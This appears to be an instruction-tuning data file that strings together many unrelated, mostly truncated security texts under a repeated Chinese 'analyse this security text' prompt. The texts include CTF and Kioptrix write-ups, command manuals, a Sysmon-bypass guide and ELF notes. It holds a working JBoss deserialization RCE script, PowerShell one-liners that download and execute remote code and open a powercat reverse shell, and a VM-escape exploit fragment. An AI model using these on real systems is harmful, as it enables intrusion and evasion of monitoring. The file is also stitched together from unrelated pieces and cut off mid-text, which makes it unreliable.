00000000004a172b         db  0x68 ; 'h'                                         ; DATA XREF=sub_4009d8+204
00000000004a172c         db  0x00 ; '.'
00000000004a172d         db  0x3f ; '?'                                         ; DATA XREF=sub_4009d8+324
00000000004a172e         db  0x00 ; '.'
00000000004a172f         db  0x35 ; '5'                                         ; DATA XREF=sub_4009d8+348
00000000004a1730         db  0x00 ; '.'
00000000004a1731         db  0x34 ; '4'                       ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Kioptrix Level 1.3
下载地址：
```
https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar
```
## 实战操作
压缩包解压后，发现只有一个虚拟硬盘，需要打开一个虚拟机加入这块硬盘
![](<../../.gitbook/assets/image (12) (1) (1) (1) (1).png>)
把原来的硬盘删掉，添加这块硬盘
![](<../../.gitbook/assets/image (14) (1) (1) (1) (1) (1) (1) (1) (1).png>)
增加成功
![](<../../.gitbook/assets/image (25) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
扫描到靶机IP：`192.168.0.11`。
扫描端口
```
┌──(root💀kali)-[~]
└─# nmap -sV -p1-65535 192.168.0.11
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-18 07:51 EST
Nmap scan report for 192.168.0.11
Host is up (0.0019s latency).
Not shown: 39528 closed ports, 26003 filtered ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:C1:84:47 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.91 seconds
```
扫描网站看看有啥值得注意
```
┌──(root💀kali)-[~]
└─# nikto -h http://192.168.0.11/                                                                                1 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.11
+ Target Hostname:    192.168.0.11
+ Target Port:        80
+ Start Time:         2021-12-18 07:54:05 (GMT-5)
---------------------------------------------...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Random (crypto, 100p)
We were given this simple C++ code:
```cpp
#include <fstream>
#include <iomanip>
#include <iostream>
#include <random>
#include <string>
using std::cin;
using std::cout;
using std::endl;
using std::ifstream;
using std::string;
[[noreturn]] void fatal_error(const string& msg)
{
        cout << msg << endl;
        exit(0);
}
class RandStream
{
        std::random_device rd;
        std::mt19937 gen;
public:
        RandStream() : rd(), gen(rd()) {}
        unsigned int NextUInt()
        {
                return gen();
        }
};
int main()
{
        cout << "Let's see if you can predict Mersenne Twister output from just"
             << " six values!" << endl;
        cout << "btw. You have only 5 seconds." << endl;
        RandStream rand{};
        for (int i = 0; i < 6; i++)
                cout << std::hex << std::setfill('0') << std::setw(8) << rand.NextUInt()
                     << endl;
        for (int i = 0; i < 5; i++)
        {
                unsigned int num;
                cin >> std::hex >> num;
                if (num != rand.NextUInt())
                        fatal_error("Wrong!");
        }
        cout << "Good work!" << endl;
        ifstream f("flag.txt");
        string flag;
        f >> flag;
        if (f.fail())
                fatal_error("Reading flag failed, contact admin");
        cout << flag << endl;
}
```
This line may look strong:
```
RandStream() : rd(), gen(rd()) {}
```
But in fact it's completely broken (mt is seeded with only 32bits of entropy). So it's enough to bruteforce the seed to get the flag.
According to organisers we were supposed to "cache" something to be "fast". Well, we're more lazy than that, so we just guessed randomly until we did it. With tiny complication, beacuse of 5 second timeout, code looked like this:
```python
def stuff():
    s = socket.socket()
    s.connect(('random.hackable.software', 1337))
    data = s.recv(9999)
    sample = data.split('\n')[2]
    out = Command(['./a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

tr
===
将字符进行替换压缩和删除
## 补充说明
**tr命令** 可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符，经常用来编写优美的单行命令，作用很强大。
###  语法
```shell
tr(选项)(参数)
```
###  选项
```shell
-c或——complerment：取代所有不属于第一字符集的字符；
-d或——delete：删除所有属于第一字符集的字符；
-s或--squeeze-repeats：把连续重复的字符以单独一个字符表示；
-t或--truncate-set1：先删除第一字符集较第二字符集多出的字符。
```
###  参数
*   字符集1：指定要转换或删除的原字符集。当执行转换操作时，必须使用参数“字符集2”指定转换的目标字符集。但执行删除操作时，不需要参数“字符集2”；
*   字符集2：指定要转换成的目标字符集。
###  实例
将输入字符由大写转换为小写：
```shell
echo "HELLO WORLD" | tr 'A-Z' 'a-z'
hello world
```
'A-Z' 和 'a-z'都是集合，集合是可以自己制定的，例如：'ABD-}'、'bB.,'、'a-de-h'、'a-c0-9'都属于集合，集合里可以使用'\n'、'\t'，可以可以使用其他ASCII字符。
使用tr删除字符：
```shell
echo "hello 123 world 456" | tr -d '0-9'
hello  world
```
将制表符转换为空格：
```shell
cat text | tr '\t' ' '
```
字符集补集，从输入文本中将不在补集中的所有字符删除：
```shell
echo aa.,a 1 b#$bb 2 c*/cc 3 ddd 4 | tr -d -c '0-9 \n'
 1  2  3  4
```
此例中，补集中包含了数字0~9、空格和换行符\n，所以没有被删除，其他字符全部被删除了。
用tr压缩字符，可以压缩输入中重复的字符：
```shell
echo "thissss is      a text linnnnnnne." | tr -s ' sn'
this is a text line.
```
巧妙使用tr做数字相加操作：
```shell
echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr '\n' '+') 0 ]
```
删除Windows文件“造成”的'^M'字符：
```shell
cat file | tr -s "\r" "\n" > new_file
或
cat file | tr -d "\r" > new_file
```
 **tr可以使用的字符类：**
```shell
[:alnum:]：字母和数字
[:alpha:]：字母
[:cntrl:]：控制（非打印）字符
[:digit:]：数字
[:graph:]：图形字符
[:lower:]：小写字母
[:print:]：可打印字符
[:punct:]：标点符号
[:space:]：空白字符
[:upper:]：大写字母
[:xdigit:]：十六进制字符
```
使用方式：
```shell
tr '[:lower:]' '[:upper:]'
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CentauriKube
Category: Research / Kubernetes
## Description
> Cyborg1337, we need your help!
>
> Global warming is damaging our planet, and we need to find a new place to live.
>
> Go on our spaceship and find an earth-like planet in the near star system "Alpha Centauri".
>
> The full instructions can be found by connecting to the spaceship terminal: http://34.214.198.14:8080/
## Solution
Let's connect to the terminal:
```console
     Earth 2104
    ,-:` \;',`'-,
  .'-;_,;  ':-;_,'
 /;   '/    ,  _`.-\
| '`. (`     /` ` \`|
|:.  `\`-.   \_   / |
|     (   `,  .`\ ;'|
 \     | .'     `-'/
  `.   ;/        .'
    `'-._____.
Welcome Aboard cyborg-1337!
Global warming threatens to ruin our planet (NAMESPACE "earth"), we already past the point of no return, we must find a new home!
You were chosen for this life-saving mission.
We need you to use the warp drive spacecraft we have (the only one, so keep it safe!) to go to "alpha-centauri" (NAMESPACE) star system.
We suspect that there is an earth-like planet orbiting the star using our telescopes: "alpha-centauri-b".
We need you to go near "alpha-centauri-b", and search for the earth-like planet. We named it "centauri1337". Figure out this SECRET and understand if we can live there.
We and everyone on Earth are counting on you,
Good Luck,
Ground Control
[cyborg-1337@earth]#
```
We get a shell, and can enter different commands. The terms "namespace" and "secret" mentioned in the welcome message have relevance in the Kubernetes world, and must be a hint.
Let's start by looking around a bit:
```console
[cyborg-1337@earth]# whoami
root
[cyborg-1337@earth]# pwd
/home
[cyborg-1337@earth]# ls -alR
.:
total 8
drwxr-xr-x 2 root root 4096 Apr 15  2020 .
drwxr-xr-x 1 root root 4096 Jul 18 18:21 ..
```
We're running as root, that's good. Nothing else in the immediate area.
Assuming we're running inside a Kubernetes pod, the [documentation](https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/#accessing-the-...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

tftp
===
在本机和tftp服务器之间使用TFTP协议传输文件
## 补充说明
**tftp命令** 用在本机和tftp服务器之间使用TFTP协议传输文件。
TFTP是用来下载远程文件的最简单网络协议，它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面：一是linux服务器端的tftp-server支持，二是嵌入式目标系统的tftp-client支持。因为u-boot本身内置支持tftp-client，所以嵌入式目标系统端就不用配置了。下面就详细介绍一下linux服务器端tftp-server的配置。
###  语法
```shell
tftp(选项)(参数)
```
###  选项
```shell
-c：指定与tftp服务器连接成功后，立即要执行的指令；
-m：指定文件传输模式。可以是ASCII或者Binary；
-v：显示指令详细执行过程；
-V：显示指令版本信息。
```
###  参数
主机：指定tftp要联机的tftp服务器的ip地址或主机名。
###  实例
 **1、安装tftp服务器**
需要安装xinetd、tftp和tftp-server 3个软件
如果能上网，通过yum安装：
```shell
yum install xinetd
yum install tftp
yum install tftp-server
```
如果不能上网，可以直接安装提供的rpm包：
```shell
rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm
rpm -ivh tftp-0.48-3.fc9.i386.rpm
rpm -ivh tftp-server-0.48-3.fc9.i386.rpm
```
 **2、配置tftp服务器**
修改/etc/xinetd.d/tftp文件，将其中的disable=yes改为disable=no。主要是设置TFTP服务器的根目录，开启服务。修改后的文件如下：
```shell
service tftp
{
       socket_type           =dgram
       protocol              =udp
       wait                  =yes
       user                  =root
       server                =/usr/sbin/in.tftpd
       server_args           =-s  /home/mike/tftpboot -c
       disable               =no
       per_source            =11
       cps                   =100 2
       flags                 =IPv4
}
```
说明：修改项`server_args= -s <path> -c`，其中<path>处可以改为你的tftp-server的根目录，参数-s指定chroot，-c指定了可以创建文件。
 **3、启动tftp服务器并关闭防火墙**
```shell
/etc/init.d/iptables stop        # 关闭防火墙
sudo /sbin/service xinetd start
或
service xinetd restart
/etc/init.d/xinetd start
```
看到启动[OK]就可以了
4、查看tftp服务是否开启
```shell
netstat -a | grep tftp
```
显示结果为`udp 0 0 *:tftp *:*`表明服务已经开启，就表明tftp配置成功了。
 **5、tftp使用**
复制一个文件到tftp服务器目录，然后在主机启动tftp软件，进行简单测试。
```shell
tftp 192.168.1.2
tftp>get <download file>
tftp>put <upload file>
tftp>q
```
 **6、tftp命令用法如下**
```shell
tftp your-ip-address
```
进入TFTP操作：
*   connect：连接到远程tftp服务器
*   mode：文件传输模式
*   put：上传文件
*   get：下载文件
*   quit：退出
*   verbose：显示详细的处理信息
*   tarce：显示包路径
*   status：显示当前状态信息
*   binary：二进制传输模式
*   ascii：ascii 传送模式
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# SmellyOnion
Misc., 10 points
## Description
> I cry when I cut onions.
An archive file was provided.
## Solution
Let's extract the provided archive file:
```console
root@kali:/media/sf_CTFs/kaf/SmellyOnion# file smelly-onion.rar
smelly-onion.rar: RAR archive data, v5
root@kali:/media/sf_CTFs/kaf/SmellyOnion# mkdir temp
root@kali:/media/sf_CTFs/kaf/SmellyOnion# cp smelly-onion.rar temp
root@kali:/media/sf_CTFs/kaf/SmellyOnion# cd temp
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# 7z x smelly-onion.rar
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3475 bytes (4 KiB)
Extracting archive: smelly-onion.rar
--
Path = smelly-onion.rar
Type = Rar5
Physical Size = 3475
Solid = -
Blocks = 1
Encrypted = -
Multivolume = -
Volumes = 1
Everything is Ok
Size:       3405
Compressed: 3475
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# ls
onion  smelly-onion.rar
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# file onion
onion: Zip archive data, at least v2.0 to extract
```
We get a zip file. Let's try to extract it as well:
```console
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# 7z x onion
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3405 bytes (4 KiB)
Extracting archive: onion
--
Path = onion
Type = zip
Physical Size = 3405
Comment = 4b
Everything is Ok
Size:       3348
Compressed: 3405
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# ls
80  onion  smelly-onion.rar
root@kali:/media/sf_CTFs/kaf/SmellyOnion/temp# file 80
80: Zip archive data, at least v2.0 to extract
```
We get another zip file. If we extract it - you guessed correctly, we get another one and so on.
The trivial way to proceed is to ext...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#! /usr/bin/env python2

# Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r

from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import argparse
import sys, os
#from binascii import hexlify, unhexlify
from subprocess import check_output

ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None

parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')

if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

if not args.ysoserial_path:
    for path in ysoserial_default_paths:
        if os.path.exists(path):
            ysoserial_path = path
else:
    if os.path.exists(args.ysoserial_path):
        ysoserial_path = args.ysoserial_path

if ysoserial_path is None:
    print('[-] Could not find ysoserial JAR file')
    sys.exit(1)

if len(args.target.split(":")) != 2:
    print('[-] Target must be in format IP:PORT')
    sys.exit(1)

if not args.command:
    print('[-] You must specify a command to run')
    sys.exit(1)

ip, port = args.target.split(':')

print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))

gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])

r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)

if r.status_code == 200:
    print('[+] Command executed successfully')


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

version: '2.4'
services:
  core:
    image: vulhub/jumpserver:3.6.3
    ulimits:
      core: 0
    restart: always
    tty: true
    environment:
      MAGNUS_PORT: ${MAGNUS_PORT:-30000-30020}
    env_file: config.env
    ports:
      - "8080:80"
      - "2222:2222"
    networks:
      - jumpnet

  mysql:
    image: mariadb:10.11.5
    command: --character-set-server=utf8 --collation-server=utf8_general_ci
    env_file: config.env
    networks:
      - jumpnet

  redis:
    image: redis:6.2.13
    command:
      - /bin/sh
      - -c
      - redis-server --requirepass $$REDIS_PASSWORD --loglevel warning --maxmemory-policy allkeys-lru
    env_file: config.env
    networks:
      - jumpnet

networks:
  jumpnet:


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#!/usr/bin/python

from binascii import hexlify
import sys
from pcapfile import savefile

hidMap = {0:"Reserved (no event indicated)", 1:"Keyboard ErrorRollOver", 2:"Keyboard POSTFail", 3:"Keyboard ErrorUndefined", 4:"Keyboard a and A", 5:"Keyboard b and B", 6:"Keyboard c and C", 7:"Keyboard d and D", 8:"Keyboard e and E", 9:"Keyboard f and F", 10:"Keyboard g and G", 11:"Keyboard h and H", 12:"Keyboard i and I", 13:"Keyboard j and J", 14:"Keyboard k and K", 15:"Keyboard l and L", 16:"Keyboard m and M", 17:"Keyboard n and N", 18:"Keyboard o and O", 19:"Keyboard p and P", 20:"Keyboard q and Q", 21:"Keyboard r and R", 22:"Keyboard s and S", 23:"Keyboard t and T", 24:"Keyboard u and U", 25:"Keyboard v and V", 26:"Keyboard w and W", 27:"Keyboard x and X", 28:"Keyboard y and Y", 29:"Keyboard z and Z", 30:"Keyboard 1 and !", 31:"Keyboard 2 and @", 32:"Keyboard 3 and #", 33:"Keyboard 4 and $", 34:"Keyboard 5 and %", 35:"Keyboard 6 and ^", 36:"Keyboard 7 and &", 37:"Keyboard 8 and *", 38:"Keyboard 9 and (", 39:"Keyboard 0 and )", 40:"Keyboard Return (ENTER)", 41:"Keyboard ESCAPE", 42:"Keyboard DELETE (Backspace)", 43:"Keyboard Tab", 44:"Keyboard Spacebar", 45:"Keyboard - and _", 46:"Keyboard = and +", 47:"Keyboard [ and {", 48:"Keyboard ] and }", 49:"Keyboard \ and |", 50:"Keyboard Non-US # and ~", 51:"Keyboard ; and :", 52:"Keyboard quote and doubleQoute", 53:"Keyboard Grave Accent and Tilde", 54:"Keyboard, and <", 55:"Keyboard . and >", 56:"Keyboard / and ?", 57:"Keyboard Caps Lock11", 58:"Keyboard F1", 59:"Keyboard F2", 60:"Keyboard F3", 61:"Keyboard F4", 62:"Keyboard F5", 63:"Keyboard F6", 64:"Keyboard F7", 65:"Keyboard F8", 66:"Keyboard F9", 67:"Keyboard F10", 68:"Keyboard F11", 69:"Keyboard F12", 70:"Keyboard PrintScreen", 71:"Keyboard Scroll Lock", 72:"Keyboard Pause1", 73:"Keyboard Insert", 74:"Keyboard Home", 75:"Keyboard PageUp", 76:"Keyboard Delete Forward", 77:"Keyboard End", 78:"Keyboard PageDown", 79:"Keyboard RightArrow", 80:"Keyboard LeftArrow", 81:"Keyboard ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 现实世界中常用的编码
## 条形码
-   宽度不等的多个黑条和空白，按照一定的编码规则排列，用以表达一组信息的图形标识符
-   国际标准
-   EAN-13 商品标准，13 位数字
-   Code-39：39 字符
-   Code-128：128 字符
-   [条形码在线识别](https://online-barcode-reader.inliteresearch.com/)
## 二维码
-   用某种特定几何图形按一定规律在平面分步的黑白相间的图形记录数据符号信息
-   堆叠式 / 行排式二维码：Code 16 k、Code 49、PDF417
-   矩阵式二维码：QR CODE


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1562-001-windows-绕过sysmon
## 来自ATT&CK的描述
攻击者可能试图阻止由监测软件或进程捕获到的告警，以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置，以达到逃避追踪的目的。
在基于特征监测的情况下，攻击者可以阻止监测特征相关的数据被发送出去，以便于阻止安全人员进行分析。这可以有很多方式实现，例如停止负责转发的进程（splunk转发器、Filebate、rsyslog等）。
## 测试案例
众所周知，sysmon可以帮助安全人员记录很多安全事件，目前sysmon最新版本已经是10.X版本。对于攻击者来讲，他们可能需要确定目标主机是否存在sysmon。通常，攻击者是不会去检测他们入侵的主机上是否存在sysmon。
如何检测被入侵的主机是否存在sysmon，很多攻击者一般执行以下的一种操作：
枚举进程；
枚举服务；
枚举C:\Windows\System32\Drivers下的驱动；
但是，你应该知道sysmon可以实现以下功能：用户可以在其中更改可执行文件和驱动文件的名称，以便其在系统中的存在进行模糊处理。
不过攻击者可以利用fltmc.exe查看其altitude号码，sysmon的altitude号码是385201，固定不变的。
使用fltmc.exe得到的altitude号：
```dos
Windows PowerShell
版权所有 (C) 2009 Microsoft Corporation。保留所有权利。
PS C:\Users\Administrator> fltmc.exe
筛选器名称                      数字实例       高度          框架
------
SysmonDrv                               2       385201         0
luafv                                   1       135000         0
```
在Mimikatz中使用misc::mflt命令得到的altitude号：
```dos
mimikatz # misc::mflt
0 2     385201 SysmonDrv
0 1     135000 luafv
```
关于更多的如何检测被入侵的主机是否存在sysmon，你可以参考：<https://anquan.baidu.com/article/350，如何检测sysmon不是本文的重点.>
### **绕过Sysmon的两种方法**
目前，攻击者有2个绕过sysmon的方法，第一个是在利用sysmon进程中的盲点，第二种则是直接禁用sysmon。
#### 删除配置项
攻击者可以删除注册表中的规则项，此时， Sysmon在发现注册表被更改后，它将自动重新加载配置。由于此时没有任何安全检测规则存在，它将暂时失去防护能力，不过失效时间，取决于配置的维护方式。如果配置由Ansible，Chef或DSC等配置管理系统管理，可能需要几秒到几分钟才能将配置更改回原始状态，如果使用GPO来管理，那么当GPO更新时，可以在90分钟内恢复原始状态。为了解决这个问题，攻击者可以使用各种Windows技术（如.Net、VBS、PE文件等）创建VMI临时性Consumer监控相应的注册表项，当发现修改操作时，则会删除修改数据或者重新设置表项内容。之所以使用临时的Consumer，是因为大多数防护解决方案会重点关注正在创建或修改的WMI永久事件。
#### 卸载SysmonDrv驱动
我们可以采取的另一个操作就是卸载SysmonDrv驱动，该驱动可以为Sysmon提供关于所有磁盘操作的信息，然后将信息写入事件日志中。如前文所述，该驱动有个唯一的altitude编号，如果我们以管理员权限运行，就可以卸载该驱动，然后Sysmon基本上就会完全处于失效状态。我们可以使用`fltmc.exe`工具来卸载驱动，如下所示，我们通过altitudde编号识别出了隐藏驱动，并成功卸载该驱动。
#### 关闭sysmon服务（管理员权限）
通过windows任务管理器，管理员权限关闭sysmon服务。
## 检测日志
sysmon日志、Windows-WMI-Activity日志，system日志
## 测试复现
### 删除配置项1
```dos
$query = "SELECT * FROM RegistryKeyChangeEvent " +
    "WHERE Hive ='HKEY_LOCAL_MACHINE' " +
    "AND KeyPath ='SYSTEM\\CurrentControlSet\\...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Windows-LOL
`Living Off The Land`
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关文章**
- [Get Reverse-shell via Windows one-liner](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
- [What Are LOLBins and How Do Attackers Use Them in Fileless Attacks? - Cynet](https://www.cynet.com/attack-techniques-hands-on/what-are-lolbins-and-how-do-attackers-use-them-in-fileless-attacks/)
- [Windows文件下载执行的15种姿势](https://mp.weixin.qq.com/s/tINvBuhiZwz7MbA_sffapA)
- [命令行上线小技巧](https://blog.m1kh.com/index.php/archives/694/)
**相关资源**
- [LOLBAS](https://lolbas-project.github.io/)
- https://github.com/LOLBAS-Project/LOLBAS
---
## Powershell
### 开启执行策略
```powershell
set-ExecutionPolicy RemoteSigned
```
### 关闭执行策略
```powershell
set-ExecutionPolicy Restricted
```
### 远程下载文件保存在本地
```powershell
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1/evil.txt','evil.exe')
# 或
$h=new-object System.Net.WebClient
$h.DownloadFile('https://xxx.com/payload/shell/test.sh','C:\Users\xxx\Desktop\test\test.sh')
```
### 命令行执行 ps1 文件 (绕过本地权限执行)
```powershell
powershell.exe -ExecutionPolicy bypass -File "C:\Users\XX\Desktop\test\test.ps1"
```
ExecutionPolicy Bypass: 绕过执行安全策略，这个参数非常重要，在默认情况下，PowerShell 的安全策略规定了 PowerShell 不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则。在渗透测试中，基本每次运行 PowerShell 脚本时都要使用这个参数。
* WindowStyle Hidden: 隐藏窗口。
* NoLogo: 启动不显示版权标志的 PowerShell.
* NonInteractive (-Nonl): 非交互模式，PowerShell 不为用户提供交互的提示。
* NoProfile (-NoP): PowerShell 控制台不加载当前用户的配置文件。
* Noexit: 执行后不退出 Shell。这在使用键盘记录等脚本时非常重要。
### 本地隐藏绕过权限执行脚本
```powershell
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden NoLogo -NonInteractive -NoProfile File "test.ps1"
```
### 远程下载并执行
```powershell
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1/1/evil.txt'))"
```
```powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/1/powercat.ps1'); powercat -c 192.168.1.1 -p 9999 -e cmd
```...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Kali

---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**官网**
- https://www.kali.org/downloads/
**教程 & Reference**
- [Kali-learning-notes Wiki](https://github.com/Keybird0/Kali-learning-notes/wiki)
- [Kali Linux 渗透测试的艺术（中文版）](https://jobrest.gitbooks.io/kali-linux-cn/content/table_of_contents.html)
- [大学霸 Kali Linux 安全渗透教程](https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/)
- [KaliLinux常见问题与解决方案](https://mp.weixin.qq.com/s/Nd-GiDnzk5lDg6g7MvRJhg)
---
## 基础配置
- [kali基础配置](https://github.com/ffffffff0x/AboutSecurity/blob/master/VPS/Kali.md)
---
## 软件配置
### apt
**换源**
```bash
# apt 换源
tee /etc/apt/sources.list <<-'EOF'
# 清华源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
# 官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
# 中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
# 浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
EOF
apt update
```
**更新系统**
```bash
apt update && apt -y full-upgrade
[ -f /var/run/reboot-required ] && reboot -f
```
### 谷歌输入法
```bash
apt-get update && apt-get upgrade
apt-get install -y fcitx
apt-get install -y fcitx-googlepinyin
reboot
# 所有应用程序中选中 fcitx 输入法配置即可
```
### ncat
```bash
apt install -y ncat
update-alternatives --config nc
1
```
### Nessus
以安装 sc 版本为例,访问 https://www.tenable.com/downloads/nessus 下载安装包
我这里下的是 Nessus-8.8.0-ubuntu1110_amd64.deb
```bash
dpkg -i Nessus-8.8.0-ubuntu1110_amd64.deb
```
安装完成后
```bash
/etc/init.d/nessusd start   # 开启
/etc/init.d/nessusd status  # 查看状态
/etc/init.d/nessusd stop    # 关闭
```
然后访问...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Bank (crypto, 94p)
In the challenge we get two files.
First one contains [properly looking Schnorr signature code](schnorr.py) and the second one is the [server code](multi-schnorr.py).
The application generates a new private-public key for the server and then in look:
- asks us for our public key
- ask for action to perform
We can perform 3 actions:
1. Send `DEPOSIT` message signed with our private key and server will verify this signature agains the public key we send initially.
2. SEND `WITHDRAW` message signed with our private key and with server private key, and server will verify this with our public key combined with server public key (in this context it means our ECC Public Key Point will be added to the server Point).
3. As for server public key.
There are 2 key points to notice here:
1. In given connection (so while server maintains his private-public key pair) we can perform multiple operations and each one of the for `different` public key. This is because public key is requested every time.
2. Adding and subtracting points on Elliptic Curve is not a difficult operation. It's "division" that is the hard operation that security is based on. This means if we have points `P` and `Q` it's very simple to calculate point `S` such that `P+S = Q`. Subtraction is simply addition of point with `y` coordinate negated, so `S = P-Q = (xp,yp)+(xq,-yq)`
The layout of the attack is pretty simple:
1. Generate some private-public keypair for ourselves (`P` and `pP`).
1. Send our public key `P` and request server public key, let's call it point `Q`.
2. Send our public key `P` and send `DEPOSIT` message signed with our private key `pP`.
4. Calculate point `S = P-Q = (xp,yp)+(xq,-yq)`
5. Send point `S` as our public key and send `WITHDRAW` operation signed with our private key `pP`.
6. Now the server will add their public key `Q` to our public key `S` to verify our message. But `S+Q = P-Q+Q = P`, our public key, for which `pP` is the corresponding private key.
7. The messa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#!/usr/bin/python2

from pwn import *

def assemble_with_nasm(code):
    with open("code.tmp", "wb") as file:
        file.write(code)
    subprocess.check_call(["nasm", "-o", "binary.tmp", "code.tmp"])
    with open("binary.tmp", "rb") as file:
        return file.read()

def exploit(connection):
    modified_guest_code = """
        BITS 16

        command_prompt:
            db      'stage1:'

        input_prompt:
            db      'input:'

        ; the main loop in the *original* guest code started at this address
        ;
        ; the modified code is written with single call of "2.Update memory", so we hijack execution here on next iteration
        align 0x10
        main_loop:

            ; command prompt
            mov     bx, 7
            mov     ax, command_prompt
            call    0x01f3          ; write_bytes

            ; read command with the following structure
            ;     uint16_t input_size
            ;     uint16_t vmcall_ax
            ;     uint16_t vmcall_bx
            ;     uint16_t vmcall_cx
            ;     uint16_t vmcall_dx
            ;     uint16_t output_size
            mov     bx, 0x0c
            sub     sp, bx
            mov     ax, sp
            call    0x0205          ; read_bytes

            ; input prompt
            mov     bx, 6
            mov     ax, input_prompt
            call    0x01f3          ; write_bytes

            ; read input
            pop     bx
            test    bx, bx
            jz      input_done
            mov     ax, 0x4000
            call    0x0205          ; read_bytes
        input_done:

            ; vmcall
            push    0x0100
            popf
            pop     ax
            pop     bx
            pop     cx
            pop     dx
            vmcall

            ; write output
            pop     bx
            test    bx, bx
            jz      output_done
            mov     ax, 0x4000
            call    0x01f3          ; write_bytes
        output_done:
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### ELF 文件概述
> 本部分内容来源于 ELF 1.2 标准，内容经过一定的修改与整理，主要参考文献如下
>
> 1. ELF 文件格式分析，北京大学，滕启明
> 2. ELF-摧毁圣诞
### ELF 文件简介
ELF （Executable and Linkable Format）文件，也就是在 Linux 中的目标文件，主要有以下三种类型
- 可重定位文件（Relocatable File），包含由编译器生成的代码以及数据。链接器会将它与其它目标文件链接起来从而创建可执行文件或者共享目标文件。在 Linux 系统中，这种文件的后缀一般为 `.o` 。
- 可执行文件（Executable File），就是我们通常在 Linux 中执行的程序。
